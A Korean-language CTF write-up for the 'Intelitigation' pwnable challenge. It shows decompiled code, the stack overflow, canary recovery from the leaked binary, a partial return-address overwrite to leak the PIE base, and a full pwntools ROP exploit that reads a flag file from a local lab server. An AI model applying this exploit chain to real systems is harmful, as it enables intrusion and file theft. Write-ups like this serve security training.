
문제서버 환경 구축
당시 base64 인코딩 데이터와 함께 문제파일이 실행되었다.
ubuntu@2d0f4d9a440c:~/hto2024/Intelitigation$ nc 127.0.0.1 1337 f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAABEAAAAAAABAAAAAAAAAALAxAAAAAAAAAAAAAEAAOAAN... input>
- server.sh
#!/usr/bin/env bash # 서비스할 포트 번호 PORT=1337 # prob 파일의 절대 경로 BINARY="$(realpath ./prob)" # 무한 반복 while true; do echo "[*] Waiting for connection on port $PORT…" >&2 # (1) OpenBSD netcat # -n: 호스트 이름 해석하지 않음 (optional) # -l: listen mode # -p: 포트 지정 # -c: 쉘 명령 실행 (STDIN/STDOUT ↔ 네트워크) nc -n -l -p "$PORT" -c " # 1) prob 파일을 Base64 인코딩하여 전송 base64 \"$BINARY\" # 2) 바로 실행 (STDIN/STDOUT ↔ 네트워크) exec \"$BINARY\" " # 만약 위 nc에 -c 옵션이 없다면, 아래 ncat 예시를 사용하세요: # ncat --keep-open -l "$PORT" --exec "bash -lc 'base64 \"$BINARY\"; exec \"$BINARY\"'" echo "[*] Connection closed, restarting…" >&2 done
Analysis
우선, base64 인코딩 데이터를 복호화해서 문제파일 저장.
checksec
ubuntu@2d0f4d9a440c:~/hto2024/Intelitigation$ checksec prob [*] '/home/ubuntu/hto2024/Intelitigation/prob' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled
main
sub_1324()
호출.
__int64 __fastcall main(int a1, char **a2, char **a3) { sub_1324(); return 0; }
sub_1324
buf
크기가 65인데, 0x300=768만큼 입력받기에 bof 발생.
unsigned __int64 sub_1324() { _QWORD buf[65]; // [rsp+0h] [rbp-210h] BYREF unsigned __int64 v2; // [rsp+208h] [rbp-8h] v2 = __readfsqword(0x28u); printf("input> "); memset(buf, 0, 512); read(0, buf, 0x300u); printf("Your input> "); printf("%s", (const char *)buf); return v2 - __readfsqword(0x28u); }
sub_124E
a1
에 읽을 파일이름을 넣으면 open-read-write를 통해 파일 읽기 가능.
ssize_t __fastcall sub_124E(const char *a1) { int fd; // [rsp+1Ch] [rbp-4h] fd = open(a1, 0); read(fd, &unk_40C0, 0x64u); return write(1, &unk_40C0, 0x64u); }
sub_12FD
main
호출전 초기에 실행됨.sub_12D9
는 qword_4020
의 qword_4070
인덱스값에 따라 반환됨.sub_12D9
에서 반환된 값을 fs:0x28 canary
에 씀.
.init_array:0000000000003D90 dq offset sub_12FD
unsigned __int64 sub_12FD() { unsigned __int64 v0; // rax sub_11E9(); v0 = sub_12D9(); return sub_12BD(v0); }
int sub_11E9() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); return setvbuf(stderr, 0, 2, 0); }
__int64 sub_12D9() { return qword_4020[qword_4070]; }
unsigned __int64 __fastcall sub_12BD(unsigned __int64 a1) { unsigned __int64 result; // rax result = a1; __writefsqword(0x28u, a1); return result; }
ROPgadget
pop rbp ; ret
push rbp ; mov rbp, rsp ; mov rdi, rsp ; pop r8 ; ret
위 2개의 가젯을 사용.pop rbp ; ret
가젯에 의해 rbp값을 지정해주면, 이후push rbp ; mov rbp, rsp ; mov rdi, rsp ; pop r8 ; ret
가젯에 의해 rsp, rdi까지 임의 값으로 컨트롤 가능.
ubuntu@2d0f4d9a440c:~/hto2024/Intelitigation$ ROPgadget --binary ./prob.bin ... 0x00000000000012b0 : push rbp ; mov rbp, rsp ; mov rdi, rsp ; pop r8 ; ret ... 0x00000000000012d2 : sub byte ptr [rax], al ; add byte ptr [rax], al ; nop ; pop rbp ; ret ...
gdb fix (ptrace: Operation not permitted)
https://github.com/microsoft/MIEngine/wiki/Troubleshoot-attaching-to-processes-using-GDB
가끔씩 gdb 프로세스 attach가 안될때 해결방법.
sudo apt-get install libcap2-bin -y sudo setcap cap_sys_ptrace=eip /usr/bin/gdb
solve.py
- base64 디코딩으로 카나리 인덱스를 통해 스택 카나리 획득
- 카나리와 함께 bof 취약점 트리거. ret 1바이트는 \xf2로 덮어씀.
.text:00000000000013F2 call sub_1324
- leak된 값으로 bin_base 계산
- 앞서 언급한 2개의 가젯을 활용해 ROP 체인으로 orw 함수 호출.
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import base64 import os prob_path = "./prob.bin" if os.path.exists(prob_path): os.remove(prob_path) p = remote("127.0.0.1", 1337) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims, drop=True: p.recvuntil(delims, drop) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) prob_data = ru(b"input> ").split(b"input> ")[0] prob_data = base64.b64decode(prob_data) with open('prob.bin','wb') as f: f.write(prob_data) e = ELF(prob_path) qword_4070 = uu64(e.read(0x4070, 8)) li("qword_4070", qword_4070) canary = uu64(e.read(0x4020 + qword_4070*8, 8)) li("canary", canary) payload = b"A"*0x208 + p64(canary) + b"B"*8 + b"\xf2" p.send(payload) ru(b"B"*8) bin_base = uu64(r(6)) - 0x13f2 li("bin_base", bin_base) ''' pop_rbp__retn .text:00000000000012D7 pop rbp .text:00000000000012D8 retn ''' ''' set_rdi .text:00000000000012AC sub_12AC proc near .text:00000000000012AC ; __unwind { .text:00000000000012AC endbr64 .text:00000000000012B0 push rbp .text:00000000000012B1 mov rbp, rsp .text:00000000000012B4 mov rdi, rsp .text:00000000000012B7 pop r8 .text:00000000000012B9 retn ''' set_rdi = bin_base + 0x00000000000012B0 pop_rbp__retn = bin_base + 0x00000000000012D7 orw = bin_base + 0x124e leave__ret = bin_base + 0x13e3 retn = bin_base + 0x13fd payload = b"A"*0x208 + p64(canary) + b"B"*8 payload += p64(pop_rbp__retn) payload += p64(uu64(b"flag\x00")) #set rbp payload += p64(set_rdi) payload += p64(orw) p.send(payload) p.interactive()
Result
ubuntu@2d0f4d9a440c:~/hto2024/Intelitigation$ python3 solve.py [+] Opening connection to 127.0.0.1 on port 1337: Done [*] '/home/ubuntu/hto2024/Intelitigation/prob.bin' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [+] qword_4070========>0x7 [+] canary========>0xf5595f393df9539d [+] bin_base========>0x555555554000 [*] Switching to interactive mode input> Your input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9dS\xf9=9_Y\xf5BBBBBBBB\xd7RUUUUflag{fake_flag} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ [*] Got EOF while reading in interactive $